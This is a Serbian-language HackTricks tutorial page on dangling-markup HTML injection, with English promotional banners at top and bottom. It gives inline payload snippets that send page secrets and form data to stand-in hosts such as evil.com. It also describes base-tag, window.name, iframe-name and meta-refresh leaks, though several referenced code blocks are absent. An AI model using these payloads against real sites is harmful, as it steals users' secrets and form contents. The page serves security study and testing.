Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
Ova tehnika se može koristiti za ekstrakciju informacija od korisnika kada se **HTML injekcija pronađe**. Ovo je veoma korisno ako **ne pronađete način da iskoristite** [**XSS** ](../xss-cross-site-scripting/) ali možete **injektovati neke HTML tagove**.\
Takođe je korisno ako je neka **tajna sačuvana u čistom tekstu** u HTML-u i želite da je **izvučete** od klijenta, ili ako želite da obmanete neku izvršavanje skripte.
Nekoliko tehnika komentisanih ovde može se koristiti za zaobilaženje nekih [**Content Security Policy**](../content-security-policy-csp-bypass/) eksfiltracijom informacija na neočekivane načine (html tagovi, CSS, http-meta tagovi, forme, base...).
Ako injektujete `<img src='http://evil.com/log.cgi?` kada se stranica učita, žrtva će vam poslati sav kod između injektovanog `img` taga i sledeće navodnike unutar koda. Ako se neka tajna nekako nalazi u tom delu, ukrasti ćete je (možete uraditi istu stvar koristeći dvostruke navodnike, pogledajte šta bi moglo biti zanimljivije za korišćenje).
Možete takođe umetnuti `<base` tag. Sve informacije će biti poslate dok se citat ne zatvori, ali zahteva neku interakciju korisnika (korisnik mora da klikne na neki link, jer će `<base` tag promeniti domen na koji link upućuje):
Postavite zaglavlje forme: `<form action='http://evil.com/log_steal'>` ovo će prepisati sledeće zaglavlje forme i svi podaci iz forme će biti poslati napadaču.
i ovo polje za unos će sadržati sav sadržaj između njegovih dvostrukih navodnika i sledećih dvostrukih navodnika u HTML-u. Ovaj napad kombinuje "_**Krađu tajnih podataka u čistom tekstu**_" sa "_**Krađom formi2**_".
`<noscript></noscript>` Je oznaka čiji će sadržaj biti interpretiran ako pregledač ne podržava javascript (možete omogućiti/isključiti Javascript u Chrome-u na [chrome://settings/content/javascript](chrome://settings/content/javascript)).
Iz ovog [portswiggers istraživanja](https://portswigger.net/research/evading-csp-with-dom-based-dangling-markup) možete saznati da čak i iz **najviše CSP ograničenih** okruženja možete još uvek **izvući podatke** uz malo **interakcije korisnika**. U ovoj prilici ćemo koristiti payload:
Napomena da ćete tražiti od **žrtve** da **klikne na link** koji će ga **preusmeriti** na **payload** koji kontrolišete. Takođe, napomenite da će **`target`** atribut unutar **`base`** taga sadržati **HTML sadržaj** do sledeće jednostruke navodnike.\
To će učiniti da će **vrednost****`window.name`** ako se link klikne biti sav taj **HTML sadržaj**. Stoga, pošto **kontrolišete stranicu** na kojoj žrtva pristupa klikom na link, možete pristupiti tom **`window.name`** i **ekfiltrirati** te podatke:
Umetnite novu oznaku sa id-jem unutar HTML-a koja će prepisati sledeću i sa vrednošću koja će uticati na tok skripte. U ovom primeru birate sa kim će se informacija deliti:
Dečiji dokument ima mogućnost da pregleda i menja `location` svojstvo svog roditelja, čak i u situacijama sa različitim poreklima. To omogućava umetanje skripte unutar **iframe** koja može preusmeriti klijenta na proizvoljnu stranicu:
Iframe se takođe može zloupotrebiti da bi se otkrile osetljive informacije sa druge stranice **koristeći atribut imena iframe-a**. To je zato što možete kreirati iframe koji se sam iframe-uje zloupotrebljavajući HTML injekciju koja čini da **osetljive informacije izgledaju unutar atributa imena iframe-a** i zatim pristupiti tom imenu iz inicijalnog iframe-a i otkriti ga.
For more info check [https://portswigger.net/research/bypassing-csp-with-dangling-iframes](https://portswigger.net/research/bypassing-csp-with-dangling-iframes)
Možete koristiti **`meta http-equiv`** za izvođenje **several actions** kao što je postavljanje kolačića: `<meta http-equiv="Set-Cookie" Content="SESSID=1">` ili izvođenje preusmeravanja (u 5s u ovom slučaju): `<meta name="language" content="5;http://attacker.svg" HTTP-EQUIV="refresh" />`
Ovo se može **avoided** sa **CSP** u vezi sa **http-equiv** ( `Content-Security-Policy: default-src 'self';`, ili `Content-Security-Policy: http-equiv 'self';`)
Možete pronaći veoma **interesting research** o iskoristivim ranjivostima \<portal taga [here](https://research.securitum.com/security-analysis-of-portal-element/).\
U trenutku pisanja ovog teksta potrebno je omogućiti portal tag na Chrome-u u `chrome://flags/#enable-portals` ili neće raditi.
Nisu svi načini za curenje povezanosti u HTML-u korisni za Dangling Markup, ali ponekad mogu pomoći. Proverite ih ovde: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
Ovo je **mešavina** između **dangling markup i XS-Leaks**. S jedne strane, ranjivost omogućava **injekciju HTML-a** (ali ne JS) na stranicu **iste domene** kao ona koju ćemo napadati. S druge strane, nećemo **napadati** direktno stranicu na kojoj možemo injektovati HTML, već **druguu stranicu**.
XS-Search su orijentisane na **ekstrakciju informacija iz različitih domena** zloupotrebom **napada putem sporednih kanala**. Stoga, to je drugačija tehnika od Dangling Markup, međutim, neke od tehnika zloupotrebljavaju uključivanje HTML tagova (sa i bez izvršavanja JS), kao što su [**CSS Injection**](../xs-search/#css-injection) ili [**Lazy Load Images**](../xs-search/#image-lazy-loading)**.**
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.